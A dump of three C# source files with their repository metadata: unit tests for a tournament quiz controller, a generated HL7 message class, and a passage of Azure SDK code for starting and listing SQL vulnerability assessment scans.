var tournamentBroadcastFake = new Mock<ITournamentBroadcast>();
var tournamentController = new TournamentController(tournamentRepositoryFake.Object, mapper, gameLogicFake.Object, tournamnetLogicFake.Object, tournamentBroadcastFake.Object);
AnswerAttemptUpdateModel answerAttempt = new AnswerAttemptUpdateModel{ Answer = "myanswer"};
// Act
var actionResult = tournamentController.AddTournamentSubscriberGameAnswerAttempt(new Guid(), new Guid(), new Guid(), new Guid(), answerAttempt);
// Assert
Assert.IsType<NotFoundResult>(actionResult);
}
[Fact]
public void ReturnStatusNotFound_WhenSubscriberDoesNotExist()
{
// Arrange
var tournamentRepositoryFake = new Mock<ITournamentRepository>();
var mapper = Helper.SetupMapper();
Guid gameId = Guid.NewGuid();
tournamentRepositoryFake.Setup(p=>p.Get(It.IsAny<Guid>())).Returns(new Tournament{InplayGameId=gameId});
tournamentRepositoryFake.Setup(p=>p.GetGame(It.IsAny<Guid>(), It.IsAny<Guid>())).Returns(new Game{Id=gameId});
tournamentRepositoryFake.Setup(p=>p.GetSubscriber(It.IsAny<Guid>(), It.IsAny<Guid>())).Returns<Subscriber>(null);
var gameLogicFake = new Mock<IGameLogic>();
var tournamnetLogicFake = new Mock<ITournamentLogic>();
var tournamentBroadcastFake = new Mock<ITournamentBroadcast>();
var tournamentController = new TournamentController(tournamentRepositoryFake.Object, mapper, gameLogicFake.Object, tournamnetLogicFake.Object, tournamentBroadcastFake.Object);
AnswerAttemptUpdateModel answerAttempt = new AnswerAttemptUpdateModel{ Answer = "myanswer"};
// Act
var actionResult = tournamentController.AddTournamentSubscriberGameAnswerAttempt(new Guid(), new Guid(), new Guid(), new Guid(), answerAttempt);
// Assert
Assert.IsType<NotFoundResult>(actionResult);
}
[Fact]
public void ReturnStatusNotFound_WhenGameClueDoesNotExist()
{
// Arrange
var tournamentRepositoryFake = new Mock<ITournamentRepository>();
var mapper = Helper.SetupMapper();
Guid gameId = Guid.NewGuid();
tournamentRepositoryFake.Setup(p=>p.Get(It.IsAny<Guid>())).Returns(new Tournament{InplayGameId=gameId});
tournamentRepositoryFake.Setup(p=>p.GetGame(It.IsAny<Guid>(), It.IsAny<Guid>())).Returns(new Game{Id=gameId, Clues = new List<Clue>()});
tournamentRepositoryFake.Setup(p=>p.GetSubscriber(It.IsAny<Guid>(), It.IsAny<Guid>())).Returns(new Subscriber());
var gameLogicFake = new Mock<IGameLogic>();
var tournamnetLogicFake = new Mock<ITournamentLogic>();
var tournamentBroadcastFake = new Mock<ITournamentBroadcast>();
var tournamentController = new TournamentController(tournamentRepositoryFake.Object, mapper, gameLogicFake.Object, tournamnetLogicFake.Object, tournamentBroadcastFake.Object);
AnswerAttemptUpdateModel answerAttempt = new AnswerAttemptUpdateModel{ Answer = "myanswer"};
// Act
var actionResult = tournamentController.AddTournamentSubscriberGameAnswerAttempt(new Guid(), new Guid(), new Guid(), new Guid(), answerAttempt);
// Assert
Assert.IsType<NotFoundResult>(actionResult);
}
[Fact]
public void EvaluateSubscribeAnswerAttempt()
{
// Arrange
var tournamentRepositoryFake = new Mock<ITournamentRepository>();
var mapper = Helper.SetupMapper();
Guid clueId = Guid.NewGuid();
Guid gameId = Guid.NewGuid();
tournamentRepositoryFake.Setup(p=>p.Get(It.IsAny<Guid>())).Returns(new Tournament{InplayGameId = gameId});
tournamentRepositoryFake.Setup(p=>p.GetGame(It.IsAny<Guid>(), It.IsAny<Guid>())).Returns(
new Game{
Id = gameId,
Clues = new List<Clue>
{
new Clue
{
Id = clueId
}
}
});
tournamentRepositoryFake.Setup(p=>p.GetSubscriber(It.IsAny<Guid>(), It.IsAny<Guid>())).Returns(new Subscriber());
var gameLogicMock = new Mock<IGameLogic>();
var tournamnetLogicFake = new Mock<ITournamentLogic>();
var tournamentBroadcastFake = new Mock<ITournamentBroadcast>();
var tournamentController = new TournamentController(tournamentRepositoryFake.Object, mapper, gameLogicMock.Object, tournamnetLogicFake.Object, tournamentBroadcastFake.Object);
AnswerAttemptUpdateModel answerAttempt = new AnswerAttemptUpdateModel{ Answer = "myanswer"};
// Act
var actionResult = tournamentController.AddTournamentSubscriberGameAnswerAttempt(new Guid(), new Guid(), new Guid(), clueId, answerAttempt);
// Assert
int score;
gameLogicMock.Verify(mocks=>mocks.EvaluateSubscriberAnswer(It.IsAny<string>(), It.IsAny<Clue>(), out score), Times.Once);
}
[Fact]
public void ReturnStatusOK_WhenAnswerIsCorrect()
{
// Arrange
var tournamentRepositoryFake = new Mock<ITournamentRepository>();
var mapper = Helper.SetupMapper();
Guid clueId = Guid.NewGuid();
Guid gameId = Guid.NewGuid();
tournamentRepositoryFake.Setup(p=>p.Get(It.IsAny<Guid>())).Returns(new Tournament{InplayGameId=gameId});
tournamentRepositoryFake.Setup(p=>p.GetGame(It.IsAny<Guid>(), It.IsAny<Guid>())).Returns(
new Game{
Id=gameId,
Clues = new List<Clue>
{
new Clue
{
Id = clueId
}
}
});
tournamentRepositoryFake.Setup(p=>p.GetSubscriber(It.IsAny<Guid>(), It.IsAny<Guid>())).Returns(new Subscriber());
var gameLogicFake = new Mock<IGameLogic>();
int score;
gameLogicFake.Setup(x=>x.EvaluateSubscriberAnswer(It.IsAny<string>(), It.IsAny<Clue>(), out score)).Returns(true);
var tournamnetLogicFake = new Mock<ITournamentLogic>();
var tournamentBroadcastFake = new Mock<ITournamentBroadcast>();
var tournamentController = new TournamentController(tournamentRepositoryFake.Object, mapper, gameLogicFake.Object, tournamnetLogicFake.Object, tournamentBroadcastFake.Object);
AnswerAttemptUpdateModel answerAttempt = new AnswerAttemptUpdateModel{ Answer = "myanswer"};
// Act
var actionResult = tournamentController.AddTournamentSubscriberGameAnswerAttempt(new Guid(), new Guid(), new Guid(), clueId, answerAttempt);
// Assert
Assert.IsType<OkResult>(actionResult);
}
[Fact]
public void ReturnBadRequest_WhenAnswerIsIncorrect()
{
// Arrange
var tournamentRepositoryFake = new Mock<ITournamentRepository>();
var mapper = Helper.SetupMapper();
Guid clueId = Guid.NewGuid();
Guid gameId = Guid.NewGuid();
tournamentRepositoryFake.Setup(p=>p.Get(It.IsAny<Guid>())).Returns(new Tournament{InplayGameId=gameId});
tournamentRepositoryFake.Setup(p=>p.GetGame(It.IsAny<Guid>(), It.IsAny<Guid>())).Returns(
new Game{
Id = gameId,
Clues = new List<Clue>
{
new Clue
{
Id = clueId
}
}
});
tournamentRepositoryFake.Setup(p=>p.GetSubscriber(It.IsAny<Guid>(), It.IsAny<Guid>())).Returns(new Subscriber());
var gameLogicFake = new Mock<IGameLogic>();
int score;
gameLogicFake.Setup(x=>x.EvaluateSubscriberAnswer(It.IsAny<string>(), It.IsAny<Clue>(), out score)).Returns(false);
var tournamnetLogicFake = new Mock<ITournamentLogic>();
var tournamentBroadcastFake = new Mock<ITournamentBroadcast>();
var tournamentController = new TournamentController(tournamentRepositoryFake.Object, mapper, gameLogicFake.Object, tournamnetLogicFake.Object, tournamentBroadcastFake.Object);
AnswerAttemptUpdateModel answerAttempt = new AnswerAttemptUpdateModel{ Answer = "myanswer"};
// Act
var actionResult = tournamentController.AddTournamentSubscriberGameAnswerAttempt(new Guid(), new Guid(), new Guid(), clueId, answerAttempt);
// Assert
Assert.IsType<BadRequestResult>(actionResult);
}
[Fact]
public void RecordSubsciberGameAnswer()
{
// Arrange
var tournamentRepositoryMock = new Mock<ITournamentRepository>();
var mapper = Helper.SetupMapper();
Guid clueId = Guid.NewGuid();
Guid gameId = Guid.NewGuid();
tournamentRepositoryMock.Setup(p=>p.Get(It.IsAny<Guid>())).Returns(new Tournament{InplayGameId=gameId});
tournamentRepositoryMock.Setup(p=>p.GetGame(It.IsAny<Guid>(), It.IsAny<Guid>())).Returns(
new Game{
Id = gameId,
Clues = new List<Clue>
{
new Clue
{
Id = clueId
}
}
});
tournamentRepositoryMock.Setup(p=>p.GetSubscriber(It.IsAny<Guid>(), It.IsAny<Guid>())).Returns(new Subscriber());
var gameLogicFake = new Mock<IGameLogic>();
int score=0;
gameLogicFake.Setup(x=>x.EvaluateSubscriberAnswer(It.IsAny<string>(), It.IsAny<Clue>(), out score)).Returns(true);
var tournamentLogicFake = new Mock<ITournamentLogic>();
var tournamentBroadcastFake = new Mock<ITournamentBroadcast>();
var tournamentController = new TournamentController(tournamentRepositoryMock.Object, mapper, gameLogicFake.Object, tournamentLogicFake.Object, tournamentBroadcastFake.Object);
AnswerAttemptUpdateModel answerAttempt = new AnswerAttemptUpdateModel{ Answer = "myanswer"};
// Act
var actionResult = tournamentController.AddTournamentSubscriberGameAnswerAttempt(new Guid(), new Guid(), new Guid(), clueId, answerAttempt);
// Assert
tournamentRepositoryMock.Verify(x=>x.UpdateSubscriberGameResult(It.IsAny<Guid>(), It.IsAny<Guid>(), It.IsAny<Guid>(), clueId, answerAttempt.Answer, score), Times.Once);
}
[Fact]
public void RecordSubsciberGameScore()
{
// Arrange
var tournamentRepositoryMock = new Mock<ITournamentRepository>();
var mapper = Helper.SetupMapper();
Guid clueId = Guid.NewGuid();
Guid gameId = Guid.NewGuid();
tournamentRepositoryMock.Setup(p=>p.Get(It.IsAny<Guid>())).Returns(new Tournament{InplayGameId=gameId});
tournamentRepositoryMock.Setup(p=>p.GetGame(It.IsAny<Guid>(), It.IsAny<Guid>())).Returns(
new Game{
Id = gameId,
Clues = new List<Clue>
{
new Clue
{
Id = clueId
}
}
});
tournamentRepositoryMock.Setup(p=>p.GetSubscriber(It.IsAny<Guid>(), It.IsAny<Guid>())).Returns(new Subscriber());
var gameLogicFake = new Mock<IGameLogic>();
int score=0;
int fakeScore = 3;
gameLogicFake.Setup(x=>x.EvaluateSubscriberAnswer(It.IsAny<string>(), It.IsAny<Clue>(), out score))
.Callback(new EvaluateSubscriberAnswerFake((string ansAttempt, Clue clue, out int s) => {s = fakeScore; }))
.Returns(true);
var tournamentLogicFake = new Mock<ITournamentLogic>();
var tournamentBroadcastFake = new Mock<ITournamentBroadcast>();
var tournamentController = new TournamentController(tournamentRepositoryMock.Object, mapper, gameLogicFake.Object, tournamentLogicFake.Object, tournamentBroadcastFake.Object);
AnswerAttemptUpdateModel answerAttempt = new AnswerAttemptUpdateModel{ Answer = "myanswer"};
// Act
var actionResult = tournamentController.AddTournamentSubscriberGameAnswerAttempt(new Guid(), new Guid(), new Guid(), clueId, answerAttempt);
// Assert the respoitory was called with the fake score to be persisted
tournamentRepositoryMock.Verify(x=>x.UpdateSubscriberGameResult(It.IsAny<Guid>(), It.IsAny<Guid>(), It.IsAny<Guid>(), clueId, answerAttempt.Answer, fakeScore), Times.Once);
}
[Fact]
public void ReturnBadRequest_WhenGameNotInPlay()
{
// Arrange
var tournamentRepositoryFake = new Mock<ITournamentRepository>();
var mapper = Helper.SetupMapper();
Guid clueId = Guid.NewGuid();
Guid GameId = Guid.NewGuid();
// Ensure game of test is PostPlay not InPlay
tournamentRepositoryFake.Setup(p=>p.Get(It.IsAny<Guid>())).Returns(new Tournament
{
PreplayGameId = Guid.NewGuid(),
InplayGameId = Guid.NewGuid(),
PostplayGameId = GameId
});
tournamentRepositoryFake.Setup(p=>p.GetGame(It.IsAny<Guid>(), GameId)).Returns(
new Game{
Id = GameId,
Clues = new List<Clue>
{
new Clue
{
Id = clueId
}
}
});
tournamentRepositoryFake.Setup(p=>p.GetSubscriber(It.IsAny<Guid>(), It.IsAny<Guid>())).Returns(new Subscriber());
var gameLogicFake = new Mock<IGameLogic>();
int score;
gameLogicFake.Setup(x=>x.EvaluateSubscriberAnswer(It.IsAny<string>(), It.IsAny<Clue>(), out score)).Returns(true);
var tournamnetLogicFake = new Mock<ITournamentLogic>();
var tournamentBroadcastFake = new Mock<ITournamentBroadcast>();
var tournamentController = new TournamentController(tournamentRepositoryFake.Object, mapper, gameLogicFake.Object, tournamnetLogicFake.Object, tournamentBroadcastFake.Object);
AnswerAttemptUpdateModel answerAttempt = new AnswerAttemptUpdateModel{ Answer = "myanswer"};
// Act
var actionResult = tournamentController.AddTournamentSubscriberGameAnswerAttempt(new Guid(), new Guid(), GameId, clueId, answerAttempt);
// Assert
Assert.IsType<BadRequestResult>(actionResult);
}
}
} | 54.428571 | 187 | 0.612219 | [
"MIT"
] | sbarrettGitHub/SB014 | SB014.Tests/Tournament_AddTournamentSubscriberGameAnswerAttemptShould.cs | 17,907 | C# |
// ------------------------------------------------------------------------------
// <auto-generated>
// Generated by Xsd2Code. Version 3.4.0.18239 Microsoft Reciprocal License (Ms-RL)
// <NameSpace>Mim.V4200</NameSpace><Collection>Array</Collection><codeType>CSharp</codeType><EnableDataBinding>False</EnableDataBinding><EnableLazyLoading>False</EnableLazyLoading><TrackingChangesEnable>False</TrackingChangesEnable><GenTrackingClasses>False</GenTrackingClasses><HidePrivateFieldInIDE>False</HidePrivateFieldInIDE><EnableSummaryComment>True</EnableSummaryComment><VirtualProp>False</VirtualProp><IncludeSerializeMethod>True</IncludeSerializeMethod><UseBaseClass>False</UseBaseClass><GenBaseClass>False</GenBaseClass><GenerateCloneMethod>True</GenerateCloneMethod><GenerateDataContracts>False</GenerateDataContracts><CodeBaseTag>Net35</CodeBaseTag><SerializeMethodName>Serialize</SerializeMethodName><DeserializeMethodName>Deserialize</DeserializeMethodName><SaveToFileMethodName>SaveToFile</SaveToFileMethodName><LoadFromFileMethodName>LoadFromFile</LoadFromFileMethodName><GenerateXMLAttributes>True</GenerateXMLAttributes><OrderXMLAttrib>False</OrderXMLAttrib><EnableEncoding>False</EnableEncoding><AutomaticProperties>False</AutomaticProperties><GenerateShouldSerialize>False</GenerateShouldSerialize><DisableDebug>False</DisableDebug><PropNameSpecified>Default</PropNameSpecified><Encoder>UTF8</Encoder><CustomUsings></CustomUsings><ExcludeIncludedTypes>True</ExcludeIncludedTypes><EnableInitializeFields>False</EnableInitializeFields>
// </auto-generated>
// ------------------------------------------------------------------------------
namespace Mim.V4200 {
using System;
using System.Diagnostics;
using System.Xml.Serialization;
using System.Collections;
using System.Xml.Schema;
using System.ComponentModel;
using System.IO;
using System.Text;
[System.CodeDom.Compiler.GeneratedCodeAttribute("Xsd2Code", "3.4.0.18239")]
[System.SerializableAttribute()]
[System.ComponentModel.DesignerCategoryAttribute("code")]
[System.Xml.Serialization.XmlTypeAttribute(TypeName="PRPA_MT030101UK06.MedicationReviewReq", Namespace="urn:hl7-org:v3")]
[System.Xml.Serialization.XmlRootAttribute("PRPA_MT030101UK06.MedicationReviewReq", Namespace="urn:hl7-org:v3")]
public partial class PRPA_MT030101UK06MedicationReviewReq {
private CS codeField;
private BL valueField;
private string typeField;
private string classCodeField;
private string moodCodeField;
private string[] typeIDField;
private string[] realmCodeField;
private string nullFlavorField;
private static System.Xml.Serialization.XmlSerializer serializer;
public PRPA_MT030101UK06MedicationReviewReq() {
this.typeField = "Observation";
this.classCodeField = "OBS";
this.moodCodeField = "EVN";
}
public CS code {
get {
return this.codeField;
}
set {
this.codeField = value;
}
}
public BL value {
get {
return this.valueField;
}
set {
this.valueField = value;
}
}
[System.Xml.Serialization.XmlAttributeAttribute(DataType="token")]
public string type {
get {
return this.typeField;
}
set {
this.typeField = value;
}
}
[System.Xml.Serialization.XmlAttributeAttribute()]
public string classCode {
get {
return this.classCodeField;
}
set {
this.classCodeField = value;
}
}
[System.Xml.Serialization.XmlAttributeAttribute()]
public string moodCode {
get {
return this.moodCodeField;
}
set {
this.moodCodeField = value;
}
}
[System.Xml.Serialization.XmlAttributeAttribute()]
public string[] typeID {
get {
return this.typeIDField;
}
set {
this.typeIDField = value;
}
}
[System.Xml.Serialization.XmlAttributeAttribute(DataType="token")]
public string[] realmCode {
get {
return this.realmCodeField;
}
set {
this.realmCodeField = value;
}
}
[System.Xml.Serialization.XmlAttributeAttribute(DataType="token")]
public string nullFlavor {
get {
return this.nullFlavorField;
}
set {
this.nullFlavorField = value;
}
}
private static System.Xml.Serialization.XmlSerializer Serializer {
get {
if ((serializer == null)) {
serializer = new System.Xml.Serialization.XmlSerializer(typeof(PRPA_MT030101UK06MedicationReviewReq));
}
return serializer;
}
}
#region Serialize/Deserialize
/// <summary>
/// Serializes current PRPA_MT030101UK06MedicationReviewReq object into an XML document
/// </summary>
/// <returns>string XML value</returns>
public virtual string Serialize() {
System.IO.StreamReader streamReader = null;
System.IO.MemoryStream memoryStream = null;
try {
memoryStream = new System.IO.MemoryStream();
Serializer.Serialize(memoryStream, this);
memoryStream.Seek(0, System.IO.SeekOrigin.Begin);
streamReader = new System.IO.StreamReader(memoryStream);
return streamReader.ReadToEnd();
}
finally {
if ((streamReader != null)) {
streamReader.Dispose();
}
if ((memoryStream != null)) {
memoryStream.Dispose();
}
}
}
/// <summary>
/// Deserializes workflow markup into an PRPA_MT030101UK06MedicationReviewReq object
/// </summary>
/// <param name="xml">string workflow markup to deserialize</param>
/// <param name="obj">Output PRPA_MT030101UK06MedicationReviewReq object</param>
/// <param name="exception">output Exception value if deserialize failed</param>
/// <returns>true if this XmlSerializer can deserialize the object; otherwise, false</returns>
public static bool Deserialize(string xml, out PRPA_MT030101UK06MedicationReviewReq obj, out System.Exception exception) {
exception = null;
obj = default(PRPA_MT030101UK06MedicationReviewReq);
try {
obj = Deserialize(xml);
return true;
}
catch (System.Exception ex) {
exception = ex;
return false;
}
}
public static bool Deserialize(string xml, out PRPA_MT030101UK06MedicationReviewReq obj) {
System.Exception exception = null;
return Deserialize(xml, out obj, out exception);
}
public static PRPA_MT030101UK06MedicationReviewReq Deserialize(string xml) {
System.IO.StringReader stringReader = null;
try {
stringReader = new System.IO.StringReader(xml);
return ((PRPA_MT030101UK06MedicationReviewReq)(Serializer.Deserialize(System.Xml.XmlReader.Create(stringReader))));
}
finally {
if ((stringReader != null)) {
stringReader.Dispose();
}
}
}
/// <summary>
/// Serializes current PRPA_MT030101UK06MedicationReviewReq object into file
/// </summary>
/// <param name="fileName">full path of outupt xml file</param>
/// <param name="exception">output Exception value if failed</param>
/// <returns>true if can serialize and save into file; otherwise, false</returns>
public virtual bool SaveToFile(string fileName, out System.Exception exception) {
exception = null;
try {
SaveToFile(fileName);
return true;
}
catch (System.Exception e) {
exception = e;
return false;
}
}
public virtual void SaveToFile(string fileName) {
System.IO.StreamWriter streamWriter = null;
try {
string xmlString = Serialize();
System.IO.FileInfo xmlFile = new System.IO.FileInfo(fileName);
streamWriter = xmlFile.CreateText();
streamWriter.WriteLine(xmlString);
streamWriter.Close();
}
finally {
if ((streamWriter != null)) {
streamWriter.Dispose();
}
}
}
/// <summary>
/// Deserializes xml markup from file into an PRPA_MT030101UK06MedicationReviewReq object
/// </summary>
/// <param name="fileName">string xml file to load and deserialize</param>
/// <param name="obj">Output PRPA_MT030101UK06MedicationReviewReq object</param>
/// <param name="exception">output Exception value if deserialize failed</param>
/// <returns>true if this XmlSerializer can deserialize the object; otherwise, false</returns>
public static bool LoadFromFile(string fileName, out PRPA_MT030101UK06MedicationReviewReq obj, out System.Exception exception) {
exception = null;
obj = default(PRPA_MT030101UK06MedicationReviewReq);
try {
obj = LoadFromFile(fileName);
return true;
}
catch (System.Exception ex) {
exception = ex;
return false;
}
}
public static bool LoadFromFile(string fileName, out PRPA_MT030101UK06MedicationReviewReq obj) {
System.Exception exception = null;
return LoadFromFile(fileName, out obj, out exception);
}
public static PRPA_MT030101UK06MedicationReviewReq LoadFromFile(string fileName) {
System.IO.FileStream file = null;
System.IO.StreamReader sr = null;
try {
file = new System.IO.FileStream(fileName, FileMode.Open, FileAccess.Read);
sr = new System.IO.StreamReader(file);
string xmlString = sr.ReadToEnd();
sr.Close();
file.Close();
return Deserialize(xmlString);
}
finally {
if ((file != null)) {
file.Dispose();
}
if ((sr != null)) {
sr.Dispose();
}
}
}
#endregion
#region Clone method
/// <summary>
/// Create a clone of this PRPA_MT030101UK06MedicationReviewReq object
/// </summary>
public virtual PRPA_MT030101UK06MedicationReviewReq Clone() {
return ((PRPA_MT030101UK06MedicationReviewReq)(this.MemberwiseClone()));
}
#endregion
}
}
| 40.465517 | 1,358 | 0.571453 | [
"MIT"
] | Kusnaditjung/MimDms | src/Mim.V4200/Generated/PRPA_MT030101UK06MedicationReviewReq.cs | 11,735 | C# |
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
// <auto-generated/>
#nullable disable
using System;
using System.Text.Json;
using System.Threading;
using System.Threading.Tasks;
using Azure;
using Azure.Core;
using Azure.Core.Pipeline;
using Azure.ResourceManager.Sql.Models;
namespace Azure.ResourceManager.Sql
{
internal partial class DatabaseVulnerabilityAssessmentScansRestOperations
{
private readonly TelemetryDetails _userAgent;
private readonly HttpPipeline _pipeline;
private readonly Uri _endpoint;
private readonly string _apiVersion;
/// <summary> Initializes a new instance of DatabaseVulnerabilityAssessmentScansRestOperations. </summary>
/// <param name="pipeline"> The HTTP pipeline for sending and receiving REST requests and responses. </param>
/// <param name="applicationId"> The application id to use for user agent. </param>
/// <param name="endpoint"> server parameter. </param>
/// <param name="apiVersion"> Api Version. </param>
/// <exception cref="ArgumentNullException"> <paramref name="pipeline"/> or <paramref name="apiVersion"/> is null. </exception>
public DatabaseVulnerabilityAssessmentScansRestOperations(HttpPipeline pipeline, string applicationId, Uri endpoint = null, string apiVersion = default)
{
_pipeline = pipeline ?? throw new ArgumentNullException(nameof(pipeline));
_endpoint = endpoint ?? new Uri("https://management.azure.com");
_apiVersion = apiVersion ?? "2020-11-01-preview";
_userAgent = new TelemetryDetails(GetType().Assembly, applicationId);
}
internal HttpMessage CreateInitiateScanRequest(string subscriptionId, string resourceGroupName, string serverName, string databaseName, VulnerabilityAssessmentName vulnerabilityAssessmentName, string scanId)
{
var message = _pipeline.CreateMessage();
var request = message.Request;
request.Method = RequestMethod.Post;
var uri = new RawRequestUriBuilder();
uri.Reset(_endpoint);
uri.AppendPath("/subscriptions/", false);
uri.AppendPath(subscriptionId, true);
uri.AppendPath("/resourceGroups/", false);
uri.AppendPath(resourceGroupName, true);
uri.AppendPath("/providers/Microsoft.Sql/servers/", false);
uri.AppendPath(serverName, true);
uri.AppendPath("/databases/", false);
uri.AppendPath(databaseName, true);
uri.AppendPath("/vulnerabilityAssessments/", false);
uri.AppendPath(vulnerabilityAssessmentName.ToString(), true);
uri.AppendPath("/scans/", false);
uri.AppendPath(scanId, true);
uri.AppendPath("/initiateScan", false);
uri.AppendQuery("api-version", _apiVersion, true);
request.Uri = uri;
_userAgent.Apply(message);
return message;
}
/// <summary> Executes a Vulnerability Assessment database scan. </summary>
/// <param name="subscriptionId"> The subscription ID that identifies an Azure subscription. </param>
/// <param name="resourceGroupName"> The name of the resource group that contains the resource. You can obtain this value from the Azure Resource Manager API or the portal. </param>
/// <param name="serverName"> The name of the server. </param>
/// <param name="databaseName"> The name of the database. </param>
/// <param name="vulnerabilityAssessmentName"> The name of the vulnerability assessment. </param>
/// <param name="scanId"> The vulnerability assessment scan Id of the scan to retrieve. </param>
/// <param name="cancellationToken"> The cancellation token to use. </param>
/// <exception cref="ArgumentNullException"> <paramref name="subscriptionId"/>, <paramref name="resourceGroupName"/>, <paramref name="serverName"/>, <paramref name="databaseName"/> or <paramref name="scanId"/> is null. </exception>
/// <exception cref="ArgumentException"> <paramref name="subscriptionId"/>, <paramref name="resourceGroupName"/>, <paramref name="serverName"/>, <paramref name="databaseName"/> or <paramref name="scanId"/> is an empty string, and was expected to be non-empty. </exception>
public async Task<Response> InitiateScanAsync(string subscriptionId, string resourceGroupName, string serverName, string databaseName, VulnerabilityAssessmentName vulnerabilityAssessmentName, string scanId, CancellationToken cancellationToken = default)
{
Argument.AssertNotNullOrEmpty(subscriptionId, nameof(subscriptionId));
Argument.AssertNotNullOrEmpty(resourceGroupName, nameof(resourceGroupName));
Argument.AssertNotNullOrEmpty(serverName, nameof(serverName));
Argument.AssertNotNullOrEmpty(databaseName, nameof(databaseName));
Argument.AssertNotNullOrEmpty(scanId, nameof(scanId));
using var message = CreateInitiateScanRequest(subscriptionId, resourceGroupName, serverName, databaseName, vulnerabilityAssessmentName, scanId);
await _pipeline.SendAsync(message, cancellationToken).ConfigureAwait(false);
switch (message.Response.Status)
{
case 200:
case 202:
return message.Response;
default:
throw new RequestFailedException(message.Response);
}
}
/// <summary> Executes a Vulnerability Assessment database scan. </summary>
/// <param name="subscriptionId"> The subscription ID that identifies an Azure subscription. </param>
/// <param name="resourceGroupName"> The name of the resource group that contains the resource. You can obtain this value from the Azure Resource Manager API or the portal. </param>
/// <param name="serverName"> The name of the server. </param>
/// <param name="databaseName"> The name of the database. </param>
/// <param name="vulnerabilityAssessmentName"> The name of the vulnerability assessment. </param>
/// <param name="scanId"> The vulnerability assessment scan Id of the scan to retrieve. </param>
/// <param name="cancellationToken"> The cancellation token to use. </param>
/// <exception cref="ArgumentNullException"> <paramref name="subscriptionId"/>, <paramref name="resourceGroupName"/>, <paramref name="serverName"/>, <paramref name="databaseName"/> or <paramref name="scanId"/> is null. </exception>
/// <exception cref="ArgumentException"> <paramref name="subscriptionId"/>, <paramref name="resourceGroupName"/>, <paramref name="serverName"/>, <paramref name="databaseName"/> or <paramref name="scanId"/> is an empty string, and was expected to be non-empty. </exception>
public Response InitiateScan(string subscriptionId, string resourceGroupName, string serverName, string databaseName, VulnerabilityAssessmentName vulnerabilityAssessmentName, string scanId, CancellationToken cancellationToken = default)
{
Argument.AssertNotNullOrEmpty(subscriptionId, nameof(subscriptionId));
Argument.AssertNotNullOrEmpty(resourceGroupName, nameof(resourceGroupName));
Argument.AssertNotNullOrEmpty(serverName, nameof(serverName));
Argument.AssertNotNullOrEmpty(databaseName, nameof(databaseName));
Argument.AssertNotNullOrEmpty(scanId, nameof(scanId));
using var message = CreateInitiateScanRequest(subscriptionId, resourceGroupName, serverName, databaseName, vulnerabilityAssessmentName, scanId);
_pipeline.Send(message, cancellationToken);
switch (message.Response.Status)
{
case 200:
case 202:
return message.Response;
default:
throw new RequestFailedException(message.Response);
}
}
internal HttpMessage CreateListByDatabaseRequest(string subscriptionId, string resourceGroupName, string serverName, string databaseName, VulnerabilityAssessmentName vulnerabilityAssessmentName)
{
var message = _pipeline.CreateMessage();
var request = message.Request;
request.Method = RequestMethod.Get;
var uri = new RawRequestUriBuilder();
uri.Reset(_endpoint);
uri.AppendPath("/subscriptions/", false);
uri.AppendPath(subscriptionId, true);
uri.AppendPath("/resourceGroups/", false);
uri.AppendPath(resourceGroupName, true);
uri.AppendPath("/providers/Microsoft.Sql/servers/", false);
uri.AppendPath(serverName, true);
uri.AppendPath("/databases/", false);
uri.AppendPath(databaseName, true);
uri.AppendPath("/vulnerabilityAssessments/", false);
uri.AppendPath(vulnerabilityAssessmentName.ToString(), true);
uri.AppendPath("/scans", false);
uri.AppendQuery("api-version", _apiVersion, true);
request.Uri = uri;
request.Headers.Add("Accept", "application/json");
_userAgent.Apply(message);
return message;
}
/// <summary> Lists the vulnerability assessment scans of a database. </summary>
/// <param name="subscriptionId"> The subscription ID that identifies an Azure subscription. </param>
/// <param name="resourceGroupName"> The name of the resource group that contains the resource. You can obtain this value from the Azure Resource Manager API or the portal. </param>
/// <param name="serverName"> The name of the server. </param>
/// <param name="databaseName"> The name of the database. </param>
/// <param name="vulnerabilityAssessmentName"> The name of the vulnerability assessment. </param>
/// <param name="cancellationToken"> The cancellation token to use. </param>
/// <exception cref="ArgumentNullException"> <paramref name="subscriptionId"/>, <paramref name="resourceGroupName"/>, <paramref name="serverName"/> or <paramref name="databaseName"/> is null. </exception>
/// <exception cref="ArgumentException"> <paramref name="subscriptionId"/>, <paramref name="resourceGroupName"/>, <paramref name="serverName"/> or <paramref name="databaseName"/> is an empty string, and was expected to be non-empty. </exception>
public async Task<Response<VulnerabilityAssessmentScanRecordListResult>> ListByDatabaseAsync(string subscriptionId, string resourceGroupName, string serverName, string databaseName, VulnerabilityAssessmentName vulnerabilityAssessmentName, CancellationToken cancellationToken = default)
{
Argument.AssertNotNullOrEmpty(subscriptionId, nameof(subscriptionId));
Argument.AssertNotNullOrEmpty(resourceGroupName, nameof(resourceGroupName));
Argument.AssertNotNullOrEmpty(serverName, nameof(serverName));
Argument.AssertNotNullOrEmpty(databaseName, nameof(databaseName));
using var message = CreateListByDatabaseRequest(subscriptionId, resourceGroupName, serverName, databaseName, vulnerabilityAssessmentName);
await _pipeline.SendAsync(message, cancellationToken).ConfigureAwait(false);
switch (message.Response.Status)
{
case 200:
{
VulnerabilityAssessmentScanRecordListResult value = default;
using var document = await JsonDocument.ParseAsync(message.Response.ContentStream, default, cancellationToken).ConfigureAwait(false);
value = VulnerabilityAssessmentScanRecordListResult.DeserializeVulnerabilityAssessmentScanRecordListResult(document.RootElement);
return Response.FromValue(value, message.Response);
}
default:
throw new RequestFailedException(message.Response);
}
}
/// <summary> Lists the vulnerability assessment scans of a database. </summary>
/// <param name="subscriptionId"> The subscription ID that identifies an Azure subscription. </param>
/// <param name="resourceGroupName"> The name of the resource group that contains the resource. You can obtain this value from the Azure Resource Manager API or the portal. </param>
/// <param name="serverName"> The name of the server. </param>
/// <param name="databaseName"> The name of the database. </param>
/// <param name="vulnerabilityAssessmentName"> The name of the vulnerability assessment. </param>
/// <param name="cancellationToken"> The cancellation token to use. </param>
/// <exception cref="ArgumentNullException"> <paramref name="subscriptionId"/>, <paramref name="resourceGroupName"/>, <paramref name="serverName"/> or <paramref name="databaseName"/> is null. </exception>
/// <exception cref="ArgumentException"> <paramref name="subscriptionId"/>, <paramref name="resourceGroupName"/>, <paramref name="serverName"/> or <paramref name="databaseName"/> is an empty string, and was expected to be non-empty. </exception>
public Response<VulnerabilityAssessmentScanRecordListResult> ListByDatabase(string subscriptionId, string resourceGroupName, string serverName, string databaseName, VulnerabilityAssessmentName vulnerabilityAssessmentName, CancellationToken cancellationToken = default)
{
Argument.AssertNotNullOrEmpty(subscriptionId, nameof(subscriptionId));
